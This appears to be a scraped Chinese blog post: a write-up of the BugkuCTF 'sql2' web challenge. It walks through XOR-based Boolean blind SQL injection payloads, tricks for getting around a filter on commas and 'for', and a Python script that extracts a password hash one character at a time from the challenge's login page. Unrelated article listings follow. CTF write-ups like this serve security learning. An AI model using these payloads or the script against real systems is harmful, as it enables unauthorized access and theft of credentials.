bugkuctf web区 sql2
来了!终于做出来(虽然是在大佬帮助下,提前感谢大佬)
在看wp之后发现这是一道典型的.DS_Store源码泄露,其他类型的web源码泄露:https://www.secpulse.com/archives/55286.html
但是,这很明显是有另一种属于 sql注入 的解法。那么作为一个萌新,sql注入也是一个很重要的知识点,于是决定用注入解出问题。
先抓包。然后看看它都过滤了什么。
然后你跟我说,只有这些东西(长度367)没有被过滤??

心态崩了,但是可以确定,这绝对是盲注,那就没有什么好说的了,发现它有两种返回形式 username error! 和 password error!
那么就是基于布尔类型的盲注了。^和-没有过滤,可以试试异或注入。

思路:
异或注入中 id= 'admin'^(0)^'' 就相当于id=0 而 id='admin'^(1)^'' 就相当于id=1 所以我们可以在括号中放入我们需要注入的sql语句,从而实现判断对错。
成功用 payload=admin'^(length(passwd)=32)^' 获得这个密码的长度是32位(看来很可能是md5)。然后快乐下一步。
但是这个憨批东西把逗号给过滤了(缓缓打出一个问好)。不过还好,我们还有别的方法
substr((database())from(1)for(1)) 就相当于 substr(database(),1,1)
然后。。你把 for 都过滤了?(我可能不适合这个东西。)
然后看了大佬的wp后才发现竟然可以不要for(惊!)

字符串从第二位开始到最后。
然后用这个方法,再把字符串反向取一遍不就可以拿到每一位的字符了吗?
二话不说
写脚本(注意一下网址是login.php而并不是index.php,当初因为搞错网址卡了好久)
import requests
dict1 = 'abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890:_@,\{\}.'
url = 'http://123.206.87.240:8007/web2/login.php' #注意网址
uname = "admin'^(ascii(mid(REVERSE(substr((passwd)from(-{})))from(-1)))={})^'"
passwd = '123456'
req = requests.session()
cookie = {'PHPSESSID':'eae6uln265c9dm58f306g4d2sand7ea8'}
params = {'uname':uname,'passwd':passwd}
flag = ''
for k in range(32):
for i in range(72):
params = {'uname':uname.format(str(k),str(ord(dict1[i]))),'passwd':passwd}
ans = requests.post(url,params).text
if 'username' in ans:
print(dict1[i])
flag += dict1[i]
break
print(flag)
爆得md5

拿到md5解密网站上去看一下,拿到了密码

输入用户名密码。
进入

既然你都写出来了,那我就ls试一下,然后就拿到了flag

感谢大佬
参考wp:
https://blog.csdn.net/yiqiushi4748/article/details/93138238
https://blog.csdn.net/Langtuteng17/article/details/80779050
https://blog.csdn.net/Mikasa_/article/details/87475337
bugkuctf web区 sql2的更多相关文章
- bugkuctf web区 多次
首先看到以下url : 发现这是一个基于布尔类型的盲注. true: false: 根据这两种类型可以进行注入.废话不多说,直接进行尝试. 构造 url = index.php?id=1' or 1= ...
- BugkuCTF web基础$_POST
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF web基础$_GET
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- BugkuCTF WEB
web2 打开链接,一大堆表情 查看源代码 得到 flag 文件上传测试 打开链接 选择 1 个 jpg 文件进行上传,用 burp 抓包改包 将 php 改为 jpg,发包 得到 flag 计算器 ...
- GYCTF Web区部分WP
目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...
- BugkuCTF 你必须让他停下
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF SQL注入1
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF 域名解析
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
随机推荐
- 最全总结 | 聊聊 Python 办公自动化之 Word(上)
1. 前言 日常自动化办公中,使用 Python 真的能做到事半功倍! 在上一个系列中,我们对 Python 操作 Excel 进行了一次全面总结 最全总结 | 聊聊 Python 办公自动化之 Ex ...
- 微软发布.net 6,net5 RC2
2020-11-13 更新 .net 6 SDK https://dotnetcli.azureedge.net/dotnet/Sdk/6.0.100-alpha.1.20562.2/dotnet-s ...
- mysql一些好的问题
一."N叉树"的N值在MySQL中是可以被人工调整吗? 1, 通过改变key值来调整N叉树中非叶子节点存放的是索引信息,索引包含Key和Point指针.Point指针固定为6个字节 ...
- IO复用之poll
主要用一个例程来讲解poll,包含客户端和服务器端. poll函数没有FD_SETSIZE的限制 int poll(struct pollfd * fdarray, unsigned long nfd ...
- ceph bluestore的db分区应该预留多大的空间
前言 关于bluestore的db应该预留多少空间,网上有很多资料 如果采用默认的 write_buffer_size=268435456 大小的话 那么几个rocksdb的数据等级是 L0: in ...
- python实现祝福弹窗
接下来教大家怎么用python献上满满的祝福.首先给大家看一下最终模样. 注:密集恐惧症患者勿入! 模样大家已经看见了,首先想想一下,当朋友打开你发送过去的软件, 然后点击运行,结果,一个一个的窗口慢 ...
- Camtasia中对录制视频进行编辑——视觉效果
视频剪辑对很多人来说是一件很头痛的事,因为对着屏幕一下一下的进行调整会让人十分的心烦,导致花费了时间但是剪辑出来的视频质量却并不高.或许是因为你没有选择一款合适的软件,因为一款高质量的软件往往会给人带 ...
- js 实现textarea剩余字数统计
1 针对textarea剩余字数统计 2 <div class="fankui-textarea"> 3 <span>留言:</span> &l ...
- css万能清除原理
如果现在能有清理浮动的办法,但不至于在文档中多一个没有用的空标记,这时的效果是最好的!引入:after伪元素选择器,可以在指定的元素的内容添加最后一个子元素 .container:after{ } 如 ...
- Linux 学习笔记01丨Ubuntu系统安装、配置及软件教程集合
1. Ubuntu系统安装 Windows10安装ubuntu18.04双系统教程 Ubuntu 20.04.1 镜像下载 软碟通 机械革命进入BIOS模式 要按F2,注意将Boot Option中将 ...